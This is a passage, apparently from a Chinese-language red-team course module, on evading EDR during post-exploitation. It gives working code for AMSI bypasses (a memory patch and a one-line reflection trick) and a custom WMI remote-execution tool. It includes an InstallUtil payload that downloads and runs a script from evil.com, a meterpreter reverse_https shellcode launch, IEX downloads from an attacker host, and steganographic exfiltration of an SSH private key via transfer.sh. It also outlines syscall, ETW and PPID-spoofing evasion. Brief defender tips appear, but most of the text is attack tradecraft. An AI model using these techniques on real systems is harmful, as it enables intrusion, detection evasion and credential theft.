异常的内存保护(RWX) ⚠️ 可能被标记
将 Shellcode 作为回调(不常见) ❌ 很少检查

参考资料

模块 9 – 后渗透阶段的 EDR 行为检测规避

9.1 - WMIC 和 PsExec 规避技术

概述

WMICPsExec 是对手在后渗透阶段常用的工具,用于远程执行命令或在不同的上下文中生成进程。然而,这些工具是众所周知的,现代 EDR(终端检测与响应)系统会对其使用进行监控。

在本模块中,我们将探索:

  • 为什么这些工具会被监控

  • 如何使用 LOLBAS(Living off the Land Binaries And Scripts)绕过检测

  • 自定义实现的 PsExec

  • 内存执行替代方案

  • 实际的 PoC(概念验证)


1. 检测配置文件

EDR 通常监控:

  • 来自 wmic.exepsexec.exe 的子进程创建

  • 网络连接(PsExec 的默认端口 445)

  • 异常的父子进程关系

  • 高权限上下文使用(例如,SYSTEM)


2. WMIC 规避

基本的 WMIC 命令

1
wmic /node:192.168.1.50 /user:admin process call create "cmd.exe /c whoami"

问题

  • 这会在 Windows 安全事件日志中记录(事件 ID 4688)

  • wmic.exe 是一个已知的 LOLBIN,会被高度监控

规避 1 - 使用 WMI COM 对象代替 wmic.exe(PowerShell)

1
2
$comp = [WMIClass]"\\192.168.1.50\root\cimv2:Win32_Process"
$comp.Create("cmd.exe /c whoami")

为什么有效

  • 避免使用 wmic 二进制文件

  • 看起来像是正常的 WMI 使用

  • 与像 SCCM 这样的管理工具相似


3. PsExec 规避

默认的 PsExec 使用

1
PsExec.exe \\192.168.1.50 -u admin -p password cmd.exe

这将:

  • 在远程机器上创建一个服务

  • 以 SYSTEM 身份执行

  • 创建网络痕迹

规避 1 - 使用 Impacket 的 smbexec.py 或 psexec.py(Python):

1
python3 smbexec.py WORKGROUP/admin@192.168.1.50

为什么有效

  • 完全可控的源代码

  • 可以混淆或修改以绕过基于签名的检测

  • 无需在磁盘上留下二进制文件(无代理)

规避 2 - 自定义的 PsExec 实现(C#)(PoC)


4. C# 实现的自定义 PsExec(PoC)

这个 PoC 使用 WMI 和 Win32_Process 模拟 PsExec,而无需丢弃 PsExec.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
using System;
using System.Management;

namespace CustomExec
{
class Program
{
static void Main(string[] args)
{
ConnectionOptions conn = new ConnectionOptions();
conn.Username = "admin";
conn.Password = "password";
conn.Impersonation = ImpersonationLevel.Impersonate;

ManagementScope scope = new ManagementScope("\\\\192.168.1.50\\root\\cimv2", conn);
scope.Connect();

ObjectGetOptions objectGetOptions = new ObjectGetOptions();
ManagementPath managementPath = new ManagementPath("Win32_Process");
ManagementClass processClass = new ManagementClass(scope, managementPath, objectGetOptions);

ManagementBaseObject inParams = processClass.GetMethodParameters("Create");
inParams["CommandLine"] = "cmd.exe /c whoami > C:\\Windows\\Temp\\output.txt";

processClass.InvokeMethod("Create", inParams, null);
}
}
}

编译命令:

1
csc CustomExec.cs

行为优点

  • 不需要 PsExec.exe

  • 无需安装服务

  • 看起来是正常的 WMI 使用


5. 其他规避思路

技术 描述
重命名 PsExec.exe 简单的绕过哈希检测
混淆二进制文件 使用 UPX 或自定义打包工具
手动使用 services.exe 通过 SC 或自定义 RPC 调用创建远程服务
注入 Shellcode 到远程内存 使用 Cobalt Strike 或 SharpRDP 进行隐蔽操作

总结

  • 避免使用默认的二进制文件,如 wmic.exepsexec.exe

  • 利用 PowerShell 或自定义 .NET 替代方案

  • 使用内存常驻工具(例如 Impacket)或 COM 对象

  • 减少行为足迹,避免使用默认端口

9.2 - 使用隐写术在企业环境中安全分发密钥

主题: 使用隐写术和加密元数据指令将 SSH 私钥隐藏在图像中。

概念由 Shane Lilly, CSAE, CSIE 提出。


目标

通过本课,学生应能够:

  • 理解使用隐写术技术将敏感文件隐藏在图像文件中的方法。

  • 使用隐写术工具(如 steghide)将私钥嵌入图像。

  • 使用工具(如 exiftool)在图像的元数据中嵌入加密的指令。

  • 使用 RSA 加密和外部粘贴服务(如 Pastebin)加密和创建指令消息。

  • 从隐写图像中提取并解密隐藏的消息和密钥。


所需工具与设置

工具:

  • steghide: 用于在图像中嵌入和提取隐藏数据的工具。

  • exiftool: 用于查看和编辑图像元数据的工具。

  • openssl: 用于生成 RSA 密钥对并加密/解密消息的工具。

  • 一个基于 Linux 的操作系统(推荐 Ubuntu/Debian)。

安装命令(Debian/Ubuntu):

1
sudo apt install steghide exiftool openssl curl

场景描述

假设以下情况:

你希望在公司网络中安全地分发 SSH 私钥,该私钥可以访问一台虚拟机。为了避免被检测并确保安全通信,你决定:

  • 使用隐写术将 SSH 私钥巧妙地嵌入常见的图像文件中。

  • 在图像的元数据中嵌入指向外部加密消息(例如,Pastebin 上的链接)。

  • 使用 RSA-4096 加密单独加密外部指令。

这种方法提供了合理的否认性、抵抗自动化检测,并有效地保护了敏感数据。


步骤逐步实践

步骤 1: 准备文件

假设以下初始文件:

  • cover_image.jpg: 用作封面的一张常规图像。

  • ssh_private_key.pem: 要隐藏的 SSH 私钥。


步骤 2: 将 SSH 私钥嵌入图像

使用 steghide

执行以下命令:

1
steghide embed -cf cover_image.jpg -ef ssh_private_key.pem -sf secret_image.jpg -p 'StrongPasswordHere'
  • -cf: 指定封面文件(原始图像)。

  • -ef: 要嵌入的文件(SSH 私钥)。

  • -sf: 输出含有隐藏数据的图像文件。

  • -p: 用于后续提取的密码。

现在,secret_image.jpg 中包含了隐藏的 SSH 私钥。


步骤 3: 创建并加密外部指令(Pastebin)

3.1 生成 RSA-4096 密钥对进行加密:

使用 OpenSSL 生成 RSA 密钥:

1
2
openssl genrsa -out pastebin_private.pem 4096
openssl rsa -in pastebin_private.pem -pubout -out pastebin_public.pem
  • pastebin_public.pem: 用于加密指令。

  • pastebin_private.pem: 保密,用于稍后解密指令。


3.2 编写指令(明文)

创建一个名为 instructions.txt 的文本文件,包含访问信息:

1
2
3
4
5
6
7
Corporate SSH Access Information:

VM IP: 10.10.50.22
SSH User: ubuntu
SSH Port: 22

Use the SSH private key embedded within the provided image to access the VM.

3.3 加密指令:

使用 RSA 公钥加密指令:

1
openssl rsautl -encrypt -pubin -inkey pastebin_public.pem -in instructions.txt -out instructions.enc

将加密后的指令转换为 Base64 格式,以便安全地在线发布:

1
base64 instructions.enc > instructions_base64.txt
  • instructions_base64.txt 的内容复制到 Pastebin 或类似的文本托管服务上。

保存 Pastebin 链接(例如,https://pastebin.com/abcXYZ),以便稍后插入元数据。


步骤 4: 将 Pastebin 链接嵌入图像元数据

使用 exiftool 将 Pastebin 链接嵌入图像元数据中:

1
exiftool -Comment='https://pastebin.com/abcXYZ' secret_image.jpg

这一步将一个包含链接的评论悄无声息地添加到图像中。


最终结果:

secret_image.jpg 现在包含:

  • 使用 steghide 隐藏的 SSH 私钥。

  • 隐藏在图像元数据中的加密外部 Pastebin 链接。

只有那些知道隐写术存在的人,拥有密码(StrongPasswordHere)和 RSA 私钥(pastebin_private.pem)的人,才能恢复 SSH 私钥和虚拟机的访问指令。


实践练习:提取与解密

模拟分析师或接收者恢复隐藏数据的过程:

步骤 1: 从图像元数据中提取 Pastebin URL

执行:

1
exiftool secret_image.jpg | grep 'Comment'

这将返回类似以下内容:

1
Comment                         : https://pastebin.com/abcXYZ

步骤 2: 提取 SSH 私钥

运行 steghide 提取嵌入的 SSH 密钥:

1
steghide extract -sf secret_image.jpg -p 'StrongPasswordHere'

这将输出文件:ssh_private_key.pem


步骤 3: 从 Pastebin 获取并解密指令

从 Pastebin 获取加密的指令:

1
curl https://pastebin.com/raw/abcXYZ | base64 -d > retrieved_instructions.enc

使用 RSA 私钥解密指令:

1
openssl rsautl -decrypt -inkey pastebin_private.pem -in retrieved_instructions.enc -out decrypted_instructions.txt

你现在可以在 decrypted_instructions.txt 中获取清晰的访问指令。


学习点总结

  • 隐写术提供了一种安全、隐蔽的方法来隐藏敏感文件。

  • 将隐写术与加密的元数据和外部加密消息相结合,增强了安全性和隐蔽性。

  • 正确的密钥管理和加密对维护数据机密性至关重要。

  • 本技术展示了安全专家和高级威胁行为者用来进行安全、隐蔽通信的实际方法。


安全影响与建议

  • 定期的取证分析应关注这些隐写术方法。

  • 组织应监控和检查元数据,并实施隐写术检测程序。

  • 对团队进行潜在的隐蔽数据外泄/渗透技术的教育,有助于提高安全防御能力。

9.3 - 直接 PowerShell 命令规避技巧

概述

PowerShell 是一个功能强大的后渗透工具,但由于以下日志机制,AV/EDR 解决方案通常会密切监视其使用:

  • ScriptBlock Logging(脚本块日志记录)

  • Module Logging(模块日志记录)

  • **Command Line Logging (Event ID 4688)**(命令行日志记录)

  • **AMSI (Antimalware Scan Interface)**(反恶意软件扫描接口)

本模块将讨论如何绕过这些检测机制,并通过本地混淆和实际示例隐蔽地运行 PowerShell 有害载荷。


1. 为什么 PowerShell 会被监控

方法 监控机制
powershell.exe -enc … 命令行参数
IEX (Invoke-Expression) 脚本块日志记录
DownloadFile / WebClient AMSI

因此,直接执行 PowerShell 命令必须涉及 混淆内存技术AMSI 绕过


2. 通过混淆进行规避

经典 Base64 混淆

示例:

1
powershell.exe -EncodedCommand aQBlAHgAIABbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCdYWFhYWFg...'))

局限性:

  • 易于解码

  • 会触发静态 YARA 规则

  • 被 AMSI 检测到


3. 绕过 AMSI

在 PowerShell 中修补 AMSI

这是一种已知方法,可以通过修改 PowerShell 进程中的 amsi.dll 内存来绕过 AMSI。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $win32
$ptr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer")
[UInt32]$old = 0
[Win32]::VirtualProtect($ptr, [UIntPtr]5, 0x40, [Ref]$old)
$bytes = [Byte[]] (0xB8,0x57,0x00,0x07,0x80) # mov eax,0x80070057 (E_ACCESSDENIED)
[System.Runtime.InteropServices.Marshal]::Copy($bytes, 0, $ptr, 5)

结果: AMSI 被禁用,之后的 PowerShell 命令将不再被扫描。


4. 内存中执行而不使用 powershell.exe

C# 反射执行 PowerShell 命令

1
2
3
4
5
6
7
8
9
10
11
using System;
using System.Management.Automation;
using System.Collections.ObjectModel;

class Program {
static void Main(string[] args) {
PowerShell ps = PowerShell.Create();
ps.AddScript("whoami; Get-Process | Out-File C:\\Temp\\procs.txt");
ps.Invoke();
}
}

编译命令:

1
csc /r:System.Management.Automation.dll ps_injector.cs

这避免了使用 powershell.exe,而是直接通过 .NET System.Management.Automation 程序集执行 PowerShell 命令。


5. 替代方法:使用 InstallUtil.exe 生活在土地上

你可以创建一个包含 PowerShell 载荷的 .NET 可执行文件,并通过 InstallUtil.exe(一个已知的 LOLBIN)执行,而无需被检测。

1
2
3
4
5
6
7
8
9
10
11
12
using System;
using System.Management.Automation;
using System.Configuration.Install;

[System.ComponentModel.RunInstaller(true)]
public class Evil : System.Configuration.Install.Installer {
public override void Uninstall(System.Collections.IDictionary savedState) {
PowerShell ps = PowerShell.Create();
ps.AddScript("Invoke-WebRequest -Uri http://evil.com/shell.ps1 -OutFile C:\\Temp\\evil.ps1; powershell -ExecutionPolicy Bypass -File C:\\Temp\\evil.ps1");
ps.Invoke();
}
}

编译并运行:

1
2
csc /target:library /r:System.Management.Automation.dll evil.cs
InstallUtil.exe /U evil.dll

6. 实战攻击链

在一次红队演练中模拟了以下攻击链:

  • 使用 LOLBAS (certutil) 投放 .ps1 脚本

  • 修补 AMSI

  • 在内存中运行混淆后的 Invoke-Mimikatz

  • 使用 .NET 内的 System.Net.WebClient 避免使用 powershell.exe


7. 蓝队的建议

  • 监控 System.Management.Automation 使用的 .NET 反射

  • 设置组策略强制执行 Constrained Language Mode

  • 启用 AMSI 和脚本块日志记录

  • 对命令行中的过多 Base64 编码进行警报


总结

  • 避免直接使用命令行中的 PowerShell

  • 在执行载荷之前修补 AMSI 内存

  • 使用反射或 .NET 程序集在内存中执行 PowerShell 代码

  • 结合使用 InstallUtil.exerundll32.exe 等 LOLBIN 以提高隐蔽性

9.4 - PowerSploit 和内存执行规避

概述

PowerSploit 是一个后渗透框架,包含多种用于权限提升、凭证窃取、持久化和侦察的 PowerShell 脚本。

由于 AV/EDR 产品会积极检测 PowerSploit,因此直接在 内存中 执行,而不触及磁盘是至关重要的。本模块介绍如何隐蔽地执行 PowerSploit 脚本、规避检测(AMSI、日志记录)并保持操作安全。


1. 什么是 PowerSploit?

PowerSploit 包含的模块包括:

  • Invoke-Mimikatz – 凭证转储

  • Invoke-ReflectivePEInjection – 内存中的 PE 注入

  • Invoke-Shellcode – 在内存中执行 Shellcode

  • Get-ServiceUnquoted – 权限提升枚举

这些脚本已被 AV 标记,因此直接使用而不做修改通常会被阻止。


2. 为什么会被检测到

  • 静态签名:已知的字符串和函数(如 “Invoke-Mimikatz”)。

  • AMSI 扫描:在 PowerShell 执行前检测恶意内容。

  • 脚本块日志记录:记录执行的完整脚本内容。

  • 命令行参数:Base64 编码的有效负载通过启发式方法被标记。


3. 在内存中下载 PowerSploit(不触及磁盘)

使用 IEX 从内存中运行原始脚本:

1
2
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-TokenManipulation.ps1')
Invoke-TokenManipulation

🔥 注意:如果不进行混淆或修补 AMSI,立即会被检测到。


4. PowerSploit 的规避技巧

4.1 在加载之前修补 AMSI

在运行 PowerSploit 脚本之前,总是首先中和 AMSI。

1
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

通过强制 AMSI 进入失败状态,从而绕过 AMSI 扫描。


4.2 混淆函数名

使用像 Invoke-Obfuscation 这样的工具:

1
Invoke-Obfuscation -ScriptPath .\Invoke-Mimikatz.ps1 -Command "TOKEN::Elevate"

或者手动重命名函数:

1
(Get-Content Invoke-Mimikatz.ps1) -replace "Invoke-Mimikatz","Start-DebugSession" | Set-Content evade.ps1

4.3 使用编码变体

1
2
$payload = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes((Get-Content evade.ps1 -Raw)))
powershell -EncodedCommand $payload

5. 反射 PE 注入

这是 PowerSploit 中最隐蔽的模块之一:

1
2
3
4
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1")

$bytes = [System.IO.File]::ReadAllBytes("C:\\temp\\mydll.dll")
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId 1234
  • DLL 被直接注入到另一个进程的内存中。

  • 不需要将 DLL 写入磁盘。

  • 避免了基于命令行的检测。


6. 使用 Invoke-Shellcode 隐蔽执行

另一种隐蔽的技术是从内存中执行原始 shellcode:

1
2
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1')
Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.0.10 -Lport 443 -Force
  • 这避免了将 EXE 或 DLL 文件写入磁盘。

  • 但是,你仍然需要绕过 AMSI 并进行混淆。


7. 防御规避考虑

技术 检测风险 是否可以绕过?
PowerSploit 原始执行 是,通过修补 AMSI 和混淆
Base64 编码命令 否,如果存在进程监控
DLL 反射注入
PowerShell 中的 Shellcode 执行

8. 红队最佳实践

  • 链式使用 AMSI 绕过 → 脚本块混淆 → 内存执行

  • 避免直接使用 powershell.exe,考虑:

    • System.Management.Automation.dll

    • 通过 C#/C++ 投放载荷

  • 受控的沙盒 VM 中测试载荷,以检测目标 EDR。


9. 蓝队检测技巧

  • 通过日志检测对 System.ReflectionVirtualAlloc 的访问

  • 监控加载 PowerShell 命名空间的 .NET 程序集

  • 对使用 WebClient 获取 .ps1 或未知 Base64 的进程进行警报


总结

  • PowerSploit 强大但必须经过仔细的混淆和内存加载

  • 在任何 PowerShell 执行之前修补 AMSI

  • 重命名、编码或动态加载模块

  • 使用 LOLBAS 通过不触及磁盘的方式投放 PowerShell 脚本

9.5 - WMIC 和 PsExec 横向渗透规避技巧

概述

在许多环境中,攻击者在初步入侵后利用 WMICPsExec 进行横向渗透。这些本地工具通常被系统管理员信任并广泛使用,使其成为对抗者的理想选择。然而,它们也被大量监控。本模块重点讲解攻击者如何 避免检测 滥用这些工具,以及防御者如何进行狩猎或阻止这种滥用。


1. WMIC(Windows Management Instrumentation 命令行工具)

WMIC 允许您与 WMI 类和远程系统进行交互:

典型攻击使用:

1
wmic /node:TARGET-PC /user:DOMAIN\user /password:pass process call create "cmd.exe /c whoami > C:\temp\result.txt"

这将在 TARGET-PC 上远程运行一个命令,并将输出存储在本地文件中。

为什么会被检测:

  • Windows 事件 ID 4688(进程创建)记录。

  • WMI 事件可通过 事件 ID 5861 / 5859 / 5860 查看。

  • WMIC 在网络上运行对非管理员使用是非常不常见的。


2. PsExec(Sysinternals 工具)

PsExec 是一个强大的命令行工具,用于通过 SMB(端口 445)在远程系统上执行进程。

基本使用:

1
PsExec.exe \\TARGET-PC -u DOMAIN\user -p pass cmd.exe

它在远程计算机上创建一个服务(PSEXESVC),并运行该命令。它会将二进制文件丢到目标计算机并记录日志。


3. 检测与蓝队洞察

指标 来源 说明
进程创建 事件 ID 4688 PsExec 或 WMIC 启动 cmd.exe
445 端口网络连接 防火墙/SIEM 日志 PsExec 使用 SMB 进行横向移动
创建 PSEXESVC.exe 文件系统日志 总是会临时丢到目标计算机
WMI 事件 事件 ID 5859, 5860 表示远程 WMI 活动

4. WMIC 和 PsExec 的规避策略

4.1 WMIC 规避:使用 WMI.vbs 代替 wmic.exe

WMIC 可以通过 WMI COM 对象或脚本调用来访问。

1
(Get-WmiObject Win32_Process -ComputerName TARGET-PC).Create("cmd.exe /c calc.exe")

这避免了启动 wmic.exe 并绕过了命令行检测规则。


4.2 PsExec 规避:使用 Impacket 的 psexec.py(Python)

Impacket 工具包 包含 psexec.py,它是 PsExec 的重实现,不会将二进制文件写入磁盘:

1
python3 psexec.py DOMAIN/user:password@TARGET-PC

优点:

  • 使用 SMB 但不会显式丢弃 PSEXESVC.exe

  • 绕过许多基于签名的检测

  • 可以轻松在流量中混淆


4.3 服务滥用代替 PsExec

如果 PsExec 被阻止,攻击者可以通过 SCM 手动创建服务:

1
2
sc.exe \\TARGET-PC create MyService binPath= "cmd.exe /c calc.exe"
sc.exe \\TARGET-PC start MyService

这模仿了 PsExec 的行为,但避免了 PsExec 的痕迹。


5. 生活在土地上的替代方法

除了 WMIC/PsExec,攻击者还可以使用以下方法:

技术 命令 隐蔽性
WMI COM 对象 $wmi = [WMIClass] "\\TARGET\root\cimv2\_Process"
远程注册表 reg.exe connect \\TARGET
WinRM + PS 远程执行 Enter-PSSessionInvoke-Command

6. 真实世界的规避链示例

1
2
3
4
5
6
7
8
# AMSI 绕过
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# 加载编码的 PowerSploit 脚本
IEX (New-Object Net.WebClient).DownloadString("http://attacker-host/Invoke-WMI.ps1")

# 在远程执行一个 Shell
Invoke-WmiCommand -ComputerName TARGET-PC -Command "powershell -enc <payload>"

整个链条避免了 PsExec,记录的事件更少,且载荷保持在内存中。


7. 防御者建议

  • 通过 AppLocker 或 WDAC 规则阻止 PsExec

  • 监控内部端点的 SMB 使用(PsExec 使用 SMB)

  • 标记网络上的 WMI 使用,尤其是由非管理员端点发起时

  • 警报横向移动模式:异常的登录、服务创建、远程进程启动


总结

  • WMIC 和 PsExec 被广泛滥用进行横向渗透。

  • EDR 专注于事件关联(进程创建、服务创建)。

  • 有效的规避依赖于远离内建工具或使用隐蔽的变体(如 Impacket)。

  • PowerShell + AMSI 绕过 + WMI = 无痕、无磁盘的远程执行链。

9.6 - 隧道技术、混淆与隐蔽通信通道

目标

本课程介绍攻击者用于 绕过外围安全和EDR行为检测 的技术,通过创建隐蔽的通信通道和将流量隐藏在看似合法的网络流中。


1. 隧道技术概述

隧道技术指的是将数据或命令封装在另一种协议中,以 绕过监控过滤机制

常见例子:

  • DNS 隧道

    • 将有效载荷或命令与控制(C2)通信编码在 DNS 查询中。

    • 工具:dnscat2iodineHeyoka、自定义 PowerShell DNS C2 脚本

  • HTTP(S) 隧道

    • 使用加密的 Web 请求来伪装恶意通信。

    • 模拟浏览器流量的常见头信息

    • 通过 HTTPS 或 Cloudfront CDN 进行 C2 通信

  • ICMP 隧道

    • 将隐蔽的 shell 流量嵌入到 ping 请求中。

    • 示例:icmp_backdoor.py 或原始套接字实现

真实案例

APT32(OceanLotus)利用 DNS 隧道保持 C2 连接,同时绕过基于代理的防火墙。


2. 网络负载的混淆

除了 PowerShell 或二进制混淆,传输中的负载也可以:

  • Base64 编码

  • 使用 XOR 或 AES 加密

  • 分块或嵌入到看似无害的格式中

示例 – PowerShell 负载在 HTTP POST 中传输:

1
2
3
4
5
POST /submit HTTP/1.1
Host: api.trusted-domain.com
Content-Type: application/json

{"data": "U3lzdGVtLk5ldC5XZWJDbGllbnQ="}

混淆和隧道工具

  • Invoke-Obfuscation

  • Chisel(反向 SOCKS 隧道)

  • nishang(反向 HTTP)

  • socatreGeorgligolo-ngpivotnacci


3. 隐蔽通道

隐蔽通道是嵌入在 合法协议或系统行为中的隐藏通信通道

常见示例:

  • 隐写命令与控制(C2) – 将负载隐藏在图片元数据或像素中

  • 基于电子邮件的 C2 – 将命令隐藏在主题行中

  • Slack、Discord 机器人 – 使用聊天 API 作为 C2 通道

  • 命名管道 / SMB / RPC 隐蔽通道

高级示例 – 图像隐写隧道

  1. 攻击者将负载编码到 JPEG 图像中,使用最低有效位(LSB)。

  2. 通过 Dropbox 或 Slack 发送图像。

  3. 恶意软件在客户端解码负载。


4. 检测挑战

大多数 EDR 聚焦于:

  • API 挂钩

  • 基于签名的 IOC

  • Sysmon 日志记录

  • 命令行监控

但它们往往 无法关联隐蔽协议或通道,尤其是当流量看起来是合法时。

规避提示

使用域前置(CDN)、被动 DNS 或 TLS SNI 轮换与隧道技术结合。


5. 真实世界模拟演练

目标: 创建一个 DNS 隧道,以通过隧道外泄一个小的 ZIP 文件。

  • 工具: iodine,自定义 DNS 服务器

  • 步骤:

    1. 使用子域设置 iodine 服务器。

    2. 在受害者机器上运行 iodine 客户端。

    3. 使用 scpcurl 通过隧道外泄 ZIP 文件。


总结

  • 隧道技术和混淆方法是绕过 AV/EDR 的强大手段。

  • 攻击者通过将恶意流量嵌入合法协议或隐藏于看似无害的网络流中,来规避检测。

  • 结合 DNS、HTTP 和 ICMP 隧道、混淆技术以及隐写通道,攻击者能够高效地隐蔽通信。

  • 对于防御者来说,识别隐蔽通道和流量模式,以及加强网络流量监控,是提高安全性的重要手段。

9.7 - 通过隐写术进行隐蔽的数据外泄

目标

本模块介绍了攻击者如何利用 隐写术 来隐蔽地外泄数据,同时绕过EDR、火墙和数据丢失防护(DLP)机制。其核心思路是将敏感数据嵌入到看似无害的文件中,例如图片、音频或视频文件,这些文件不容易引起警觉。


1. 什么是隐写术?

隐写术是将 秘密信息隐藏在另一个文件中 的艺术,目的是让信息的存在不易察觉。

与加密不同,隐写术不仅保护数据的机密性,还隐藏了数据的存在本身。加密会让数据的存在变得显而易见,而隐写术则使得数据的存在完全不可见。


2. 常见的隐写数据外泄载体

  • 图像文件(JPG、PNG、BMP)

  • 音频文件(WAV、MP3)

  • 视频文件(MP4、AVI)

  • 文本文件(PDF、HTML)


3. 真实世界的使用案例

  • APT28/Fancy Bear 使用基于图像的隐写术从被攻陷的政府系统中外泄凭证。

  • Turla Group 利用嵌入Shellcode的PNG图像附件进行外泄。


4. 隐写外泄工具

a. steghide

经典的命令行隐写工具,支持将数据嵌入到 JPEG、BMP、WAV 和 AU 文件中。

示例:

1
steghide embed -cf image.jpg -ef secret.zip -p hunter2

提取数据:

1
steghide extract -sf image.jpg -p hunter2

b. OutGuess

更先进的图像隐写术工具,具有更强的抗检测能力。

c. zsteg

用于检测 PNG 和 BMP 文件中的隐藏内容。

d. Invoke-Steganography (PowerShell)

基于 PowerShell 的隐写工具,用于嵌入和提取数据。


5. 外泄工作流程(TTP)

  1. 收集数据:凭证、截图、ZIP文件等

  2. 压缩和加密(可选):

1
zip -e secrets.zip passwords.txt  
  1. 嵌入到图像中:
1
steghide embed -cf wallpaper.jpg -ef secrets.zip -p hide123  
  1. 通过网络上传/电子邮件/聊天应用/云存储外泄:

    • Slack

    • Discord

    • Dropbox

    • Gmail

  2. 攻击者下载并提取隐写负载。


6. 高级隐写通道

  • LSB(最低有效位)操作

  • 附加负载(EOF技巧)

1
cat image.jpg private_key.pem > final.jpg  
  • 元数据字段(EXIF)
1
exiftool -comment="http://pastebin.com/abc123" image.jpg  
  • 脚本驱动的自动化

    • 批量处理敏感文件

    • 随机化载体和密码密钥


7. 检测规避

  • 通过隐写嵌入的负载通常 不会触发 DLP 或杀毒软件的启发式检测。

  • 加密或压缩的负载进一步 混淆了检测

  • 使用 常见文件扩展名(如 .jpg、.png、.docx)降低了被检测的风险。


8. PoC: 隐藏 SSH 私钥到图像中

步骤:

  1. 准备私钥(例如,id_rsa):
1
cp ~/.ssh/id_rsa secret.key  
  1. 将私钥嵌入图像:
1
steghide embed -cf cat.jpg -ef secret.key -p supersecret  
  1. 上传图像到 Web/云:
1
curl -F "file=@cat.jpg" https://transfer.sh  
  1. 在攻击者机器上:
1
2
curl https://transfer.sh/abc/cat.jpg -o exfil.jpg  
steghide extract -sf exfil.jpg -p supersecret

现在,攻击者已获得 id_rsa 用于 SSH 透传。


9. 检测与取证考虑

  • 使用 stegdetectzsteg 或对媒体文件进行异常分析。

  • 监控来自非设计部门的大量图像/音频上传。

  • 检查 EXIF 元数据异常。


总结

  • 隐写术是一种有效的隐蔽外泄数据的方式,可以绕过 AV、EDR 和 DLP 检测。

  • 攻击者可以通过将敏感数据嵌入到图像、音频或视频等常见文件中,来避免被检测。

  • 常用的隐写工具包括 steghide、OutGuess 和 PowerShell 隐写工具。

  • 防御者可以通过分析文件元数据、监控异常上传活动来识别隐写外泄行为。

9.8 - 反EDR行为规避技巧

目标

本主题聚焦于攻击者在 后渗透阶段 使用的 高级技术,用于 绕过端点检测与响应(EDR)系统。这些技术不仅仅依赖于负载的混淆,而是利用 EDR监控和响应行为 的漏洞,使攻击者能够在未被发现的情况下持续操作。


1. 了解 EDR 监控向量

EDR 监控以下内容:

  • API 调用(用户态和内核态)

  • 系统调用(通过钩子或内核驱动)

  • 内存分配和保护变化

  • 进程注入和父子进程关系

  • 事件跟踪(ETW)


2. 常见的 EDR 检测策略

  • 用户态 API 钩子(例如:CreateRemoteThread, NtWriteVirtualMemory

  • DLL 注入检测

  • 行为异常(例如:PowerShell + 编码命令)

  • 已知的 Shellcode 模式和熵分析


3. 反 EDR 策略概述

类别 技术
API 规避 直接调用系统调用、间接系统调用存根
内存规避 分配为 RW → 写入 → 延迟后变更为 RX
事件干扰 解钩 ETW、AMSI 绕过
进程技巧 父 PID 欺骗、牺牲进程注入
钩子检测 枚举 EDR 钩子并修补

4. 直接系统调用 vs. API 钩子

EDR 常常钩住高层 API(如 VirtualAllocExNtCreateThreadEx)。一种规避方法是 直接使用系统调用,绕过用户态钩子。

使用系统调用存根(汇编)示例:

1
2
3
4
mov r10, rcx
mov eax, <syscall_number>
syscall
ret

可以使用 Hell’s GateSysWhispers2 动态解析系统调用。


5. AMSI 和 ETW 绕过

AMSI(反恶意软件扫描接口)绕过:

1
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

ETW(事件跟踪 Windows)补丁:

修补 ETW 提供程序函数的开始部分,禁用遥测。


6. 进程注入混淆

代替使用 CreateRemoteThread,可以使用以下技术:

  • APC 注入

  • 线程劫持

  • 内存映射区

  • 进程空洞化

  • 事务空洞化(使用 NtCreateSection + NtMapViewOfSection

这些技术在结合延迟执行、休眠或间接执行时(例如:通过 NtTestAlert)更难被检测。


7. 内存保护规避

通过更改内存保护流程来避免引起怀疑:

1
2
3
4
VirtualAllocEx(..., PAGE_READWRITE)
WriteProcessMemory(...)
Sleep(10000) // 延迟执行,绕过启发式检测
VirtualProtectEx(..., PAGE_EXECUTE_READ)

EDR 通常会标记立即发生的 RW → RX 过渡。通过添加延迟和分离权限,绕过许多启发式规则。


8. 钩子检测与移除

扫描已加载 DLL 的内存(例如 ntdll.dll)以查找已被覆盖的字节(钩子的标志):

1
2
ReadProcessMemory(..., ntdll + offset, buffer, size, &read)
Compare against clean disk copy

如果发现钩子:

  • 修补它们(风险高,可能被检测)

  • 使用 系统调用存根 代替


9. 父 PID 欺骗

通过伪造父进程来启动进程,避免引起怀疑:

1
2
STARTUPINFOEX si = {0};
UpdateProcThreadAttribute(..., PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, ...)

通常与 牺牲进程(例如:explorer.exesvchost.exe)结合使用,以掩盖 C2 行为。


10. 示例:完整链式规避

  1. 通过 NtCreateSection 映射 Shellcode

  2. 使用 APC 注入到伪造的父进程

  3. 通过系统调用存根调用 Shellcode

  4. 在负载运行前修补 ETW 和 AMSI

  5. 通过 DNS 信标检查并连接到 C2


11. 工具与框架

  • ScareCrow – 用于绕过 EDR 的 Shellcode 加载器

